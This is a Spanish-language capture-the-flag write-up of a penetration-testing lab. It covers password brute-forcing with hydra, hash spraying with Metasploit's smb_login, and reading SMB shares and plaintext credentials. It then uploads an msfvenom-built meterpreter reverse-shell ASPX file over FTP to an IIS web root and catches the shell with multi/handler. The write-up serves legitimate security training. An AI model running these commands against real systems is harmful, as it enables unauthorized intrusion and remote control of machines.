~/write-ups/writeup-d207d93542

Host & Network Penetration Testing: Exploitation CTF 2

Imported from Notion: Host & Network Penetration Testing: Exploitation CTF 2

target:: Notion MEDIUM date:: 2026.07.26 notion

Pistas:

  1. Looks like smb user tom has not changed his password from a very long time.

  2. Using the NTLM hash list discovered in the previous challenge, can you compromise the smb user nancy?

  3. I wonder what the hint found in the previous challenge be useful for!

  4. Can you compromise the target machine and retrieve the C://flag4.txt file?

Empezamos con la primera, probamos brute force y vemos que imposible al protocolo smb, a si que hacemos brute force a ftp y rdp :

hydra -l tom /usr/s​hare/w​ordlis​ts/met​asploi​t/unix​_passw​ords.t​xt 10.2.28.210 ftp
hydra -l tom -P /usr/s​hare/w​ordlis​ts/met​asploi​t/unix​_passw​ords.t​xt 10.2.28.210 rdp

En el ataque rdp vemos que esta deshabilitado el usuario pero vemos una password felipe

Notion image
Notion image

Usamos smbclient para ver los shares:

smbclient -L target​.ine.l​ocal -U tom
Notion image
Notion image

Procedemos a ver shares y solo tenemos acceso a HRDocuments :

smbclient //targ​et.ine​.local​/HRDoc​uments​ -U tom 
Notion image
Notion image

Descargamos flag1.txt :

get flag1.txt

La leemos y vemos que flag1.txt es 239c82e5d0264559beaedcb23ebd7ce5

Tambien vemos un .txt sospechoso en los shares de smb llamado leaked-hashes.txt

Lo descargamos con get leaked-hashes.txt y vemos que son 100 NTLMHashes

cat leaked​-hashe​s.txt
Notion image
Notion image
wc -l leaked​-hashe​s.txt
Notion image
Notion image

La segunda pista es clara, alguno es el NTLMHash del usuario nancy a si que seguimos los siguientes pasos:

Abrimos Metasploit para usar el módulo smb_login al cual podemos pasarle ese listado de NTLMHashes

Ponemos RHOSTS , SMBUser que será nancy y PASS_FILE que pondremos leaked-hashes.txt , además para crear una sesión smb pondremos CreateSession en true y lanzamos run

Notion image
Notion image

Con el comando shares podemos volver a listar los shares y entramos en ITResources :

shares -i ITResources
Notion image
Notion image

Podemos ver con cat o descargar con download los archivos .txt

La flag2.txt es 2d7c3a75479243f7a3383416912dae33

Y en hint.txt vemos credenciales en texto plano: david:omnitrix_9901

Notion image
Notion image

Probamos a conectarnos por smb pero no podemos, a si que probamos por ftp y conseguimos entrar:

ftp target​.ine.l​ocal 21
Notion image
Notion image

Vemos ahi la flag3.txt que nos descargamos con el comando get y resulta ser: 43de9a034daa41f1923e6687acfaed84

Tambien vemos que es el directorio del servicio ISS a si que probamos a subir un archivo de prueba para ver si podemos acceder a el por Firefox :

echo "test" > test.txt

Y los subimos con el comando put por ftp

Accedemos a la ruta http://target.ine.local/test.txt y vemos que tenemos un RCE

Notion image
Notion image

Creamos una shell con msfv​enom :

msfv​enom -p window​s/x64/​meterp​reter/​revers​e_tcp LHOST=10.10.​49.3 LPORT=1234 -f aspx > shell.aspx

La subimos con put y ponemos Metasploit en escucha:

use multi/​handle​r

Ponemos LHOST ,LPORT y PAYLOAD y lanzamos run

Ahora en el navegador vamos a la shell que hemos subido http://target.ine.local/shell.aspx

Notion image
Notion image

- EOF -

<< back_to_index